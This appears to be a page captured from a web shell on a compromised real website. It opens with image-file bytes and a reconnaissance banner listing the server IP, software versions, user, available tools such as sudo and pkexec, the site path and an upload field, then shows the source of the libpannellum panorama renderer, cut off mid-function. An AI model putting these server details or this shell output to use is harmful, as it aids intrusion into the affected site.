????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.217.150.104 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/360/TEST/src/js/ |
Upload File : |
/* * libpannellum - A WebGL and CSS 3D transform based Panorama Renderer * Copyright (c) 2012-2016 Matthew Petroff * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ window.libpannellum = (function(window, document, undefined) { 'use strict'; /** * Creates a new panorama renderer. * @constructor * @param {HTMLElement} container - The container element for the renderer. * @param {Image|Array|Object} image - Input image; format varies based on * `imageType`. For `equirectangular`, this is an image; for `cubemap`, * this is an array of images for the cube faces in the order [+z, +x, -z, * -x, +y, -y]; for `multires`, this is a configuration object. * @param {string} imageType - The type of the image: `equirectangular`, * `cubemap`, or `multires`. * @param {boolean} dynamic - Whether or not the image is dynamic (e.g. video). */ function Renderer(container, image, imageType, dynamic) { var canvas = document.createElement('canvas'); canvas.style.width = canvas.style.height = '100%'; container.appendChild(canvas); // Default argument for image type if (typeof imageType === undefined){ imageType = 'equirectangular'; } var program, gl; var fallbackImgSize; var world; var vtmps; var pose; /** * Initialize renderer. * @memberof Renderer * @instance * @param {number} haov - Initial horizontal angle of view. * @param {number} vaov - Initial vertical angle of view. * @param {number} voffset - Initial vertical offset angle. * @param {function} callback - Load callback function. */ this.init = function(haov, vaov, voffset, callback) { var s; // This awful browser specific test exists because iOS 8/9 and IE 11 // don't display non-power-of-two cubemap textures but also don't // throw an error (tested on an iPhone 5c / iOS 8.1.3 / iOS 9.2). // Therefore, the WebGL context is never created for these browsers for // NPOT cubemaps, and the CSS 3D transform fallback renderer is used // instead. if (!(imageType == 'cubemap' && (image[0].width & (image[0].width - 1)) !== 0 && (navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 8_/) || navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad).* os 9_/) || navigator.userAgent.match(/Trident.*rv[ :]*11\./)))) { // Enable WebGL on canvas gl = canvas.getContext('experimental-webgl', {alpha: false, depth: false}); } // If there is no WebGL, fall back to CSS 3D transform renderer. // While browser specific tests are usually frowned upon, the // fallback viewer only really works with WebKit/Blink and IE 10/11 // (it doesn't work properly in Firefox). if (!gl && ((imageType == 'multires' && image.hasOwnProperty('fallbackPath')) || imageType == 'cubemap') && ('WebkitAppearance' in document.documentElement.style || navigator.userAgent.match(/Trident.*rv[ :]*11\./) || navigator.appVersion.indexOf('MSIE 10') !== -1)) { // Remove old world if it exists if (world) { container.removeChild(world); } // Initialize renderer world = document.createElement('div'); world.className = 'pnlm-world'; // Add images var path; if (image.basePath) { path = image.basePath + image.fallbackPath; } else { path = image.fallbackPath; } var sides = ['f', 'r', 'b', 'l', 'u', 'd']; var loaded = 0; var onLoad = function() { // Draw image on canvas var faceCanvas = document.createElement('canvas'); faceCanvas.className = 'pnlm-face pnlm-' + sides[this.side] + 'face'; world.appendChild(faceCanvas); var faceContext = faceCanvas.getContext('2d'); faceCanvas.style.width = this.width + 4 + 'px'; faceCanvas.style.height = this.height + 4 + 'px'; faceCanvas.width = this.width + 4; faceCanvas.height = this.height + 4; faceContext.drawImage(this, 2, 2); var imgData = faceContext.getImageData(0, 0, faceCanvas.width, faceCanvas.height); var data = imgData.data; // Duplicate edge pixels var i; var j; for (i = 2; i < faceCanvas.width - 2; i++) { for (j = 0; j < 4; j++) { data[(i + faceCanvas.width) * 4 + j] = data[(i + faceCanvas.width * 2) * 4 + j]; data[(i + faceCanvas.width * (faceCanvas.height - 2)) * 4 + j] = data[(i + faceCanvas.width * (faceCanvas.height - 3)) * 4 + j]; } } for (i = 2; i < faceCanvas.height - 2; i++) { for (j = 0; j < 4; j++) { data[(i * faceCanvas.width + 1) * 4 + j] = data[(i * faceCanvas.width + 2) * 4 + j]; data[((i + 1) * faceCanvas.width - 2) * 4 + j] = data[((i + 1) * faceCanvas.width - 3) * 4 + j]; } } for (j = 0; j < 4; j++) { data[(faceCanvas.width + 1) * 4 + j] = data[(faceCanvas.width * 2 + 2) * 4 + j]; data[(faceCanvas.width * 2 - 2) * 4 + j] = data[(faceCanvas.width * 3 - 3) * 4 + j]; data[(faceCanvas.width * (faceCanvas.height - 2) + 1) * 4 + j] = data[(faceCanvas.width * (faceCanvas.height - 3) + 2) * 4 + j]; data[(faceCanvas.width * (faceCanvas.height - 1) - 2) * 4 + j] = data[(faceCanvas.width * (faceCanvas.height - 2) - 3) * 4 + j]; } for (i = 1; i < faceCanvas.width - 1; i++) { for (j = 0; j < 4; j++) { data[i * 4 + j] = data[(i + faceCanvas.width) * 4 + j]; data[(i + faceCanvas.width * (faceCanvas.height - 1)) * 4 + j] = data[(i + faceCanvas.width * (faceCanvas.height - 2)) * 4 + j]; } } for (i = 1; i < faceCanvas.height - 1; i++) { for (j = 0; j < 4; j++) { data[(i * faceCanvas.width) * 4 + j] = data[(i * faceCanvas.width + 1) * 4 + j]; data[((i + 1) * faceCanvas.width - 1) * 4 + j] = data[((i + 1) * faceCanvas.width - 2) * 4 + j]; } } for (j = 0; j < 4; j++) { data[j] = data[(faceCanvas.width + 1) * 4 + j]; data[(faceCanvas.width - 1) * 4 + j] = data[(faceCanvas.width * 2 - 2) * 4 + j]; data[(faceCanvas.width * (faceCanvas.height - 1)) * 4 + j] = data[(faceCanvas.width * (faceCanvas.height - 2) + 1) * 4 + j]; data[(faceCanvas.width * faceCanvas.height - 1) * 4 + j] = data[(faceCanvas.width * (faceCanvas.height - 1) - 2) * 4 + j]; } // Draw image width duplicated edge pixels on canvas faceContext.putImageData(imgData, 0, 0); loaded++; if (loaded == 6) { fallbackImgSize = this.width; container.appendChild(world); callback(); } }; for (s = 0; s < 6; s++) { var faceImg = new Image(); faceImg.crossOrigin = 'anonymous'; faceImg.side = s; faceImg.onload = onLoad; if (imageType == 'multires') { faceImg.src = encodeURI(path.replace('%s', sides[s]) + '.' + image.extension); } else { faceImg.src = encodeURI(image[s].src); } } return; } else if (!gl) { console.log('Error: no WebGL support detected!'); throw {type: 'no webgl'}; } if (image.basePath) { image.fullpath = image.basePath + image.path; } else { image.fullpath = image.path; } image.invTileResolution = 1 / image.tileResolution; var vertices = createCube(); vtmps = []; for (s = 0; s < 6; s++) { vtmps[s] = vertices.slice(s * 12, s * 12 + 12); vertices = createCube(); } // Make sure image isn't too big var width, maxWidth; if (imageType == 'equirectangular') { width = Math.max(image.width, image.height); maxWidth = gl.getParameter(gl.MAX_TEXTURE_SIZE); if (width > maxWidth) { console.log('Error: The image is too big; it\'s ' + width + 'px wide, but this device\'s maximum supported width is ' + maxWidth + 'px.'); throw {type: 'webgl size error', width: width, maxWidth: maxWidth}; } } else if (imageType == 'cubemap') { width = image[0].width; maxWidth = gl.getParameter(gl.MAX_CUBE_MAP_TEXTURE_SIZE); if (width > maxWidth) { console.log('Error: The cube face image is too big; it\'s ' + width + 'px wide, but this device\'s maximum supported width is ' + maxWidth + 'px.'); throw {type: 'webgl size error', width: width, maxWidth: maxWidth}; } } // Store horizon pitch and roll if applicable if (image.horizonPitch !== undefined && image.horizonRoll !== undefined) { pose = [image.horizonPitch, image.horizonRoll]; } // Set 2d texture binding var glBindType = gl.TEXTURE_2D; // Create viewport for entire canvas gl.viewport(0, 0, canvas.width, canvas.height); // Create vertex shader var vs = gl.createShader(gl.VERTEX_SHADER); var vertexSrc = v; if (imageType == 'multires') { vertexSrc = vMulti; } gl.shaderSource(vs, vertexSrc); gl.compileShader(vs); // Create fragment shader var fs = gl.createShader(gl.FRAGMENT_SHADER); var fragmentSrc = fragEquirectangular; if (imageType == 'cubemap') { glBindType = gl.TEXTURE_CUBE_MAP; fragmentSrc = fragCube; } else if (imageType == 'multires') { fragmentSrc = fragMulti; } gl.shaderSource(fs, fragmentSrc); gl.compileShader(fs); // Link WebGL program program = gl.createProgram(); gl.attachShader(program, vs); gl.attachShader(program, fs); gl.linkProgram(program); // Log errors if (!gl.getShaderParameter(vs, gl.COMPILE_STATUS)) console.log(gl.getShaderInfoLog(vs)); if (!gl.getShaderParameter(fs, gl.COMPILE_STATUS)) console.log(gl.getShaderInfoLog(fs)); if (!gl.getProgramParameter(program, gl.LINK_STATUS)) console.log(gl.getProgramInfoLog(program)); // Use WebGL program gl.useProgram(program); program.drawInProgress = false; // Look up texture coordinates location program.texCoordLocation = gl.getAttribLocation(program, 'a_texCoord'); gl.enableVertexAttribArray(program.texCoordLocation); if (imageType != 'multires') { // Provide texture coordinates for rectangle program.texCoordBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, program.texCoordBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1,1,1,1,1,-1,-1,1,1,-1,-1,-1]), gl.STATIC_DRAW); gl.vertexAttribPointer(program.texCoordLocation, 2, gl.FLOAT, false, 0, 0); // Pass aspect ratio program.aspectRatio = gl.getUniformLocation(program, 'u_aspectRatio'); gl.uniform1f(program.aspectRatio, canvas.width / canvas.height); // Locate psi, theta, focal length, horizontal extent, vertical extent, and vertical offset program.psi = gl.getUniformLocation(program, 'u_psi'); program.theta = gl.getUniformLocation(program, 'u_theta'); program.f = gl.getUniformLocation(program, 'u_f'); program.h = gl.getUniformLocation(program, 'u_h'); program.v = gl.getUniformLocation(program, 'u_v'); program.vo = gl.getUniformLocation(program, 'u_vo'); program.rot = gl.getUniformLocation(program, 'u_rot'); // Pass horizontal extent, vertical extent, and vertical offset gl.uniform1f(program.h, haov / (Math.PI * 2.0)); gl.uniform1f(program.v, vaov / Math.PI); gl.uniform1f(program.vo, voffset / Math.PI * 2); // Create texture program.texture = gl.createTexture(); gl.bindTexture(glBindType, program.texture); // Upload images to texture depending on type if (imageType == 'cubemap') { // Load all six sides of the cube map gl.texImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[1]); gl.texImage2D(gl.TEXTURE_CUBE_MAP_NEGATIVE_X, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[3]); gl.texImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_Y, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[4]); gl.texImage2D(gl.TEXTURE_CUBE_MAP_NEGATIVE_Y, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[5]); gl.texImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_Z, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[0]); gl.texImage2D(gl.TEXTURE_CUBE_MAP_NEGATIVE_Z, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image[2]); } else { // Upload image to the texture gl.texImage2D(glBindType, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image); } // Set parameters for rendering any size gl.texParameteri(glBindType, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(glBindType, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(glBindType, gl.TEXTURE_MIN_FILTER, gl.LINEAR); gl.texParameteri(glBindType, gl.TEXTURE_MAG_FILTER, gl.LINEAR); } else { // Look up vertex coordinates location program.vertPosLocation = gl.getAttribLocation(program, 'a_vertCoord'); gl.enableVertexAttribArray(program.vertPosLocation); // Create buffers program.cubeVertBuf = gl.createBuffer(); program.cubeVertTexCoordBuf = gl.createBuffer(); program.cubeVertIndBuf = gl.createBuffer(); // Bind texture coordinate buffer and pass coordinates to WebGL gl.bindBuffer(gl.ARRAY_BUFFER, program.cubeVertTexCoordBuf); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0,0,1,0,1,1,0,1]), gl.STATIC_DRAW); // Bind square index buffer and pass indicies to WebGL gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, program.cubeVertIndBuf); gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array([0,1,2,0,2,3]), gl.STATIC_DRAW); // Find uniforms program.perspUniform = gl.getUniformLocation(program, 'u_perspMatrix'); program.cubeUniform = gl.getUniformLocation(program, 'u_cubeMatrix'); //program.colorUniform = gl.getUniformLocation(program, 'u_color'); program.level = -1; program.currentNodes = []; program.nodeCache = []; program.nodeCacheTimestamp = 0; } // Check if there was an error if (gl.getError() !== 0) { console.log('Error: Something went wrong with WebGL!'); throw {type: 'webgl error'}; } callback(); }; /** * Destroy renderer. * @memberof Renderer * @instance */ this.destroy = function() { if (container !== undefined) { if (canvas !== undefined) { container.removeChild(canvas); } if (world !== undefined) { container.removeChild(world); } } }; /** * Resize renderer (call after resizing container). * @memberof Renderer * @instance */ this.resize = function() { var pixelRatio = window.devicePixelRatio || 1; canvas.width = canvas.clientWidth * pixelRatio; canvas.height = canvas.clientHeight * pixelRatio; if (gl) { gl.viewport(0, 0, canvas.width, canvas.height); if (imageType != 'multires') { gl.uniform1f(program.aspectRatio, canvas.width / canvas.height); } } }; // Initialize canvas size this.resize(); /** * Render new view of panorama. * @memberof Renderer * @instance * @param {number} pitch - Pitch to render at. * @param {number} yaw - Yaw to render at. * @param {number} hfov - Horizontal field of view to render with. * @param {boolean} returnImage - Return rendered image? */ this.render = function(pitch, yaw, hfov, returnImage) { var focal, i, s; // If no WebGL if (!gl && (imageType == 'multires' || imageType == 'cubemap')) { // Determine face transforms s = fallbackImgSize / 2; var transforms = { f: 'translate3d(-' + (s + 2) + 'px, -' + (s + 2) + 'px, -' + s + 'px)', b: 'translate3d(' + (s + 2) + 'px, -' + (s + 2) + 'px, ' + s + 'px) rotateX(180deg) rotateZ(180deg)', u: 'translate3d(-' + (s + 2) + 'px, -' + s + 'px, ' + (s + 2) + 'px) rotateX(270deg)', d: 'translate3d(-' + (s + 2) + 'px, ' + s + 'px, -' + (s + 2) + 'px) rotateX(90deg)', l: 'translate3d(-' + s + 'px, -' + (s + 2) + 'px, ' + (s + 2) + 'px) rotateX(180deg) rotateY(90deg) rotateZ(180deg)', r: 'translate3d(' + s + 'px, -' + (s + 2) + 'px, -' + (s + 2) + 'px) rotateY(270deg)' }; focal = 1 / Math.tan(hfov / 2); var zoom = focal * canvas.width / (window.devicePixelRatio || 1) / 2 + 'px'; var transform = 'perspective(' + zoom + ') translateZ(' + zoom + ') rotateX(' + pitch + 'rad) rotateY(' + yaw + 'rad) '; // Apply face transforms var faces = Object.keys(transforms); for (i = 0; i < 6; i++) { var face = world.querySelector('.pnlm-' + faces[i] + 'face').style; face.webkitTransform = transform + transforms[faces[i]]; face.transform = transform + transforms[faces[i]]; } return; } if (imageType != 'multires') { // Calculate focal length from vertical field of view var vfov = 2 * Math.atan(Math.tan(hfov * 0.5) / (canvas.width / canvas.height)); focal = 1 / Math.tan(vfov * 0.5); // Apply pitch and roll transformation if applicable if (imageType == 'equirectangular' && pose !== undefined) { var horizonPitch = pose[0], horizonRoll = pose[1]; // Calculate new pitch and yaw var orig_pitch = pitch, orig_yaw = yaw, x = Math.cos(horizonRoll) * Math.sin(pitch) * Math.sin(horizonPitch) + Math.cos(pitch) * (Math.cos(horizonPitch) * Math.cos(yaw) + Math.sin(horizonRoll) * Math.sin(horizonPitch) * Math.sin(yaw)), y = -Math.sin(pitch) * Math.sin(horizonRoll) + Math.cos(pitch) * Math.cos(horizonRoll) * Math.sin(yaw), z = Math.cos(horizonRoll) * Math.cos(horizonPitch) * Math.sin(pitch) + Math.cos(pitch) * (-Math.cos(yaw) * Math.sin(horizonPitch) + Math.cos(horizonPitch) * Math.sin(horizonRoll) * Math.sin(yaw)); pitch = Math.asin(z); yaw = Math.atan2(y, x); // Calculate roll var v = [Math.cos(orig_pitch) * (Math.sin(horizonRoll) * Math.sin(horizonPitch) * Math.cos(orig_yaw) - Math.cos(horizonPitch) * Math.sin(orig_yaw)), Math.cos(orig_pitch) * Math.cos(horizonRoll) * Math.cos(orig_yaw), Math.cos(orig_pitch) * (Math.cos(horizonPitch) * Math.sin(horizonRoll) * Math.cos(orig_yaw) + Math.sin(orig_yaw) * Math.sin(horizonPitch))], w = [-Math.cos(pitch) * Math.sin(yaw), Math.cos(pitch) * Math.cos(yaw)]; var roll = Math.acos((v[0]*w[0] + v[1]*w[1]) / (Math.sqrt(v[0]*v[0]+v[1]*v[1]+v[2]*v[2]) * Math.sqrt(w[0]*w[0]+w[1]*w[1]))); if (v[2] < 0) roll = 2 * Math.PI - roll; gl.uniform1f(program.rot, roll); } // Pass psi, theta, and focal length gl.uniform1f(program.psi, yaw); gl.uniform1f(program.theta, pitch); gl.uniform1f(program.f, focal); if (dynamic === true) { // Update texture if dynamic if (imageType == 'equirectangular') { gl.bindTexture(gl.TEXTURE_2D, program.texture); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, image); } } // Draw using current buffer gl.drawArrays(gl.TRIANGLES, 0, 6); } else { // Create perspective matrix var perspMatrix = makePersp(hfov, canvas.width / canvas.height, 0.1, 100.0); // Find correct zoom level checkZoom(hfov); // Create rotation matrix var matrix = identityMatrix3(); matrix = rotateMatrix(matrix, -pitch, 'x'); matrix = rotateMatrix(matrix, yaw, 'y'); matrix = makeMatrix4(matrix); // Set matrix uniforms gl.uniformMatrix4fv(program.perspUniform, false, new Float32Array(transposeMatrix4(perspMatrix))); gl.uniformMatrix4fv(program.cubeUniform, false, new Float32Array(transposeMatrix4(matrix))); // Find current nodes var rotPersp = rotatePersp(perspMatrix, matrix); program.nodeCache.sort(multiresNodeSort); if (program.nodeCache.length > 200 && program.nodeCache.length > program.currentNodes.length + 50) { // Remove older nodes from cache program.nodeCache.splice(200, program.nodeCache.length - 200); } program.currentNodes = []; var sides = ['f', 'b', 'u', 'd', 'l', 'r']; for (s = 0; s < 6; s++) { var ntmp = new MultiresNode(vtmps[s], sides[s], 1, 0, 0, image.fullpath); testMultiresNode(rotPersp, ntmp, pitch, yaw, hfov); } program.currentNodes.sort(multiresNodeRenderSort); // Only process one tile per frame to improve responsiveness for (i = 0; i < program.currentNodes.length; i++) { if (!program.currentNodes[i].texture) { setTimeout(processNextTile(program.currentNodes[i]), 0); break; } } // Draw tiles multiresDraw(); } if (returnImage !== undefined) { return canvas.toDataURL('image/png'); } }; /** * Check if images are loading. * @memberof Renderer * @instance * @returns {boolean} Whether or not images are loading. */ this.isLoading = function() { if (gl && imageType == 'multires') { for ( var i = 0; i < program.currentNodes.length; i++ ) { if (!program.currentNodes[i].textureLoaded) { return true; } } } return false; }; /** * Retrieve renderer's canvas. * @memberof Renderer * @instance * @returns {HTMLElement} Renderer's canvas. */ this.getCanvas = function() { return canvas; }; /** * Sorting method for multires nodes. * @private * @param {MultiresNode} a - First node. * @param {MultiresNode} b - Second node. * @returns {number} Base tiles first, then higher timestamp first. */ function multiresNodeSort(a, b) { // Base tiles are always first if (a.level == 1 && b.level != 1) { return -1; } if (b. level == 1 && a.level != 1) { return 1; } // Higher timestamp first return b.timestamp - a.timestamp; } /** * Sorting method for multires node rendering. * @private * @param {MultiresNode} a - First node. * @param {MultiresNode} b - Second node. * @returns {number} Lower zoom levels first, then closest to center first. */ function multiresNodeRenderSort(a, b) { // Lower zoom levels first if (a.level != b.level) { return a.level - b.level; } // Lower distance from center first return a.diff - b.diff; } /** * Draws multires nodes. * @private */ function multiresDraw() { if (!program.drawInProgress) { program.drawInProgress = true; for ( var i = 0; i < program.currentNodes.length; i++ ) { if (program.currentNodes[i].textureLoaded) { //var color = program.currentNodes[i].color; //gl.uniform4f(program.colorUniform, color[0], color[1], color[2], 1.0); // Bind vertex buffer and pass vertices to WebGL gl.bindBuffer(gl.ARRAY_BUFFER, program.cubeVertBuf); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(program.currentNodes[i].vertices), gl.STATIC_DRAW); gl.vertexAttribPointer(program.vertPosLocation, 3, gl.FLOAT, false, 0, 0); // Prep for texture gl.bindBuffer(gl.ARRAY_BUFFER, program.cubeVertTexCoordBuf); gl.vertexAttribPointer(program.texCoordLocation, 2, gl.FLOAT, false, 0, 0); // Bind texture and draw tile gl.bindTexture(gl.TEXTURE_2D, program.currentNodes[i].texture); // Bind program.currentNodes[i].texture to TEXTURE0 gl.drawElements(gl.TRIANGLES, 6, gl.UNSIGNED_SHORT, 0); } } program.drawInProgress = false; } } /** * Creates new multires node. * @constructor * @private * @param {number[]} vertices - Node's verticies. * @param {string} side - Node's cube face. * @param {number} level - Node's zoom level. * @param {number} x - Node's x position. * @param {number} y - Node's y position. * @param {string} path - Node's path. */ function MultiresNode(vertices, side, level, x, y, path) { this.vertices = vertices; this.side = side; this.level = level; this.x = x; this.y = y; this.path = path.replace('%s',side).replace('%l',level).replace('%x',x).replace('%y',y); } /** * Test if multires node is visible. If it is, add it to current nodes, * load its texture, and load appropriate child nodes. * @private * @param {number[]} rotPersp - Rotated perspective matrix. * @param {MultiresNode} node - Multires node to check. * @param {number} pitch - Pitch to check at. * @param {number} yaw - Yaw to check at. * @param {number} hfov - Horizontal field of view to check at. */ function testMultiresNode(rotPersp, node, pitch, yaw, hfov) { if (checkSquareInView(rotPersp, node.vertices)) { // Calculate central angle between center of view and center of tile var v = node.vertices; var x = v[0] + v[3] + v[6] + v[ 9]; var y = v[1] + v[4] + v[7] + v[10]; var z = v[2] + v[5] + v[8] + v[11]; var r = Math.sqrt(x*x + y*y + z*z); var theta = Math.asin(z / r); var phi = Math.atan2(y, x); var ydiff = phi - yaw; ydiff += (ydiff > Math.PI) ? -2 * Math.PI : (ydiff < -Math.PI) ? 2 * Math.PI : 0; ydiff = Math.abs(ydiff); node.diff = Math.acos(Math.sin(pitch) * Math.sin(theta) + Math.cos(pitch) * Math.cos(theta) * Math.cos(ydiff)); // Add node to current nodes and load texture if needed var inCurrent = false; for (var k = 0; k < program.nodeCache.length; k++) { if (program.nodeCache[k].path == node.path) { inCurrent = true; program.nodeCache[k].timestamp = program.nodeCacheTimestamp++; program.nodeCache[k].diff = node.diff; program.currentNodes.push(program.nodeCache[k]); break; } } if (!inCurrent) { //node.color = [Math.random(), Math.random(), Math.random()]; node.timestamp = program.nodeCacheTimestamp++; program.currentNodes.push(node); program.nodeCache.push(node); } // TODO: Test error // Create child nodes if (node.level < program.level) { var cubeSize = image.cubeResolution * Math.pow(2, node.level - image.maxLevel); var numTiles = Math.ceil(cubeSize * image.invTileResolution) - 1; var doubleTileSize = cubeSize % image.tileResolution * 2; var lastTileSize = (cubeSize * 2) % image.tileResolution; if (lastTileSize === 0) { lastTileSize = image.tileResolution; } if (doubleTileSize === 0) { doubleTileSize = image.tileResolution * 2; } var f = 0.5; if (node.x == numTiles || node.y == numTiles) { f = 1.0 - image.tileResolution / (image.tileResolution + lastTileSize); } var i = 1.0 - f; var children = []; var vtmp, ntmp; var f1 = f, f2 = f, f3 = f, i1 = i, i2 = i, i3 = i; // Handle non-symmetric tiles if (lastTileSize < image.tileResolution) { if (node.x == numTiles && node.y != numTiles) { f2 = 0.5; i2 = 0.5; if (node.side == 'd' || node.side == 'u') { f3 = 0.5; i3 = 0.5; } } else if (node.x != numTiles && node.y == numTiles) { f1 = 0.5; i1 = 0.5; if (node.side == 'l' || node.side == 'r') { f3 = 0.5; i3 = 0.5; } } } // Handle small tiles that have fewer than four children if (doubleTileSize < image.tileResolution) { if (node.x == numTiles) { f1 = 0; i1 = 1; if (node.side == 'l' || node.side == 'r') { f3 = 0; i3 = 1; } } if (node.y == numTiles) { f2 = 0; i2 = 1; if (node.side == 'd' || node.side == 'u') { f3 = 0; i3 = 1; } } } vtmp = [ v[0], v[1], v[2], v[0]*f1+v[3]*i1, v[1]*f+v[4]*i, v[2]*f3+v[5]*i3, v[0]*f1+v[6]*i1, v[1]*f2+v[7]*i2, v[2]*f3+v[8]*i3, v[0]*f+v[9]*i, v[1]*f2+v[10]*i2, v[2]*f3+v[11]*i3 ]; ntmp = new MultiresNode(vtmp, node.side, node.level + 1, node.x*2, node.y*2, image.fullpath); children.push(ntmp); if (!(node.x == numTiles && doubleTileSize < image.tileResolution)) { vtmp = [v[0]*f1+v[3]*i1, v[1]*f+v[4]*i, v[2]*f3+v[5]*i3, v[3], v[4], v[5], v[3]*f+v[6]*i, v[4]*f2+v[7]*i2, v[5]*f3+v[8]*i3, v[0]*f1+v[6]*i1, v[1]*f2+v[7]*i2, v[2]*f3+v[8]*i3 ]; ntmp = new MultiresNode(vtmp, node.side, node.level + 1, node.x*2+1, node.y*2, image.fullpath); children.push(ntmp); } if (!(node.x == numTiles && doubleTileSize < image.tileResolution) && !(node.y == numTiles && doubleTileSize < image.tileResolution)) { vtmp = [v[0]*f1+v[6]*i1, v[1]*f2+v[7]*i2, v[2]*f3+v[8]*i3, v[3]*f+v[6]*i, v[4]*f2+v[7]*i2, v[5]*f3+v[8]*i3, v[6], v[7], v[8], v[9]*f1+v[6]*i1, v[10]*f+v[7]*i, v[11]*f3+v[8]*i3 ]; ntmp = new MultiresNode(vtmp, node.side, node.level + 1, node.x*2+1, node.y*2+1, image.fullpath); children.push(ntmp); } if (!(node.y == numTiles && doubleTileSize < image.tileResolution)) { vtmp = [ v[0]*f+v[9]*i, v[1]*f2+v[10]*i2, v[2]*f3+v[11]*i3, v[0]*f1+v[6]*i1, v[1]*f2+v[7]*i2, v[2]*f3+v[8]*i3, v[9]*f1+v[6]*i1, v[10]*f+v[7]*i, v[11]*f3+v[8]*i3, v[9], v[10], v[11] ]; ntmp = new MultiresNode(vtmp, node.side, node.level + 1, node.x*2, node.y*2+1, image.fullpath); children.push(ntmp); } for (var j = 0; j < children.length; j++) { testMultiresNode(rotPersp, children[j], pitch, yaw, hfov); } } } } /** * Creates cube vertex array. * @private * @returns {number[]} Cube vertex array. */ function createCube() { return [-1, 1, -1, 1, 1, -1, 1, -1, -1, -1, -1, -1, // Front face 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, 1, // Back face 1, -1, -1, 1, 1, -1, 1, 1, 1, -1, 1, -1, // Up face -1, -1, -1, 1, -1, -1, 1, -1, 1, -1, -1, 1, // Down face -1, 1, 1, -1, 1, -1, -1, -1, -1, -1, -1, 1, // Left face 1, 1, -1, 1, 1, 1, 1, -1, 1, 1, -1, -1 // Right face ]; } /** * Creates 3x3 identity matrix. * @private * @returns {number[]} Identity matrix. */ function identityMatrix3() { return [ 1, 0, 0, 0, 1, 0, 0, 0, 1 ]; } /** * Rotates a 3x3 matrix. * @private * @param {number[]} m - Matrix to rotate. * @param {number[]} angle - Angle to rotate by in radians. * @param {string} axis - Axis to rotate about (`x` or `y`). * @returns {number[]} Rotated matrix. */ function rotateMatrix(m, angle, axis) { var s = Math.sin(angle); var c = Math.cos(angle); if ( axis == 'x' ) { return [ m[0], c*m[1] + s*m[2], c*m[2] - s*m[1], m[3], c*m[4] + s*m[5], c*m[5] - s*m[4], m[6], c*m[7] + s*m[8], c*m[8] - s*m[7] ]; } if ( axis == 'y' ) { return [ c*m[0] - s*m[2], m[1], c*m[2] + s*m[0], c*m[3] - s*m[5], m[4], c*m[5] + s*m[3], c*m[6] - s*m[8], m[7], c*m[8] + s*m[6] ]; } } /** * Turns a 3x3 matrix into a 4x4 matrix. * @private * @param {number[]} m - Input matrix. * @returns {number[]} Expanded matrix. */ function makeMatrix4(m) { return [ m[0], m[1], m[2], 0, m[3], m[4], m[5], 0, m[6], m[7], m[8], 0, 0, 0, 0, 1 ]; } /** * Transposes a 4x4 matrix. * @private * @param {number[]} m - Input matrix. * @returns {number[]} Transposed matrix. */ function transposeMatrix4(m) { return [ m[ 0], m[ 4], m[ 8], m[12], m[ 1], m[ 5], m[ 9], m[13], m[ 2], m[ 6], m[10], m[14], m[ 3], m[ 7], m[11], m[15] ]; } /** * Creates a perspective matrix. * @private * @param {number} hfov - Desired horizontal field of view. * @param {number} aspect - Desired aspect ratio. * @param {number} znear - Near distance. * @param {number} zfar - Far distance. * @returns {number[]} Generated perspective matrix. */ function makePersp(hfov, aspect, znear, zfar) { var fovy = 2 * Math.atan(Math.tan(hfov/2) * canvas.height / canvas.width); var f = 1 / Math.tan(fovy/2); return [ f/aspect, 0, 0, 0, 0, f, 0, 0, 0, 0, 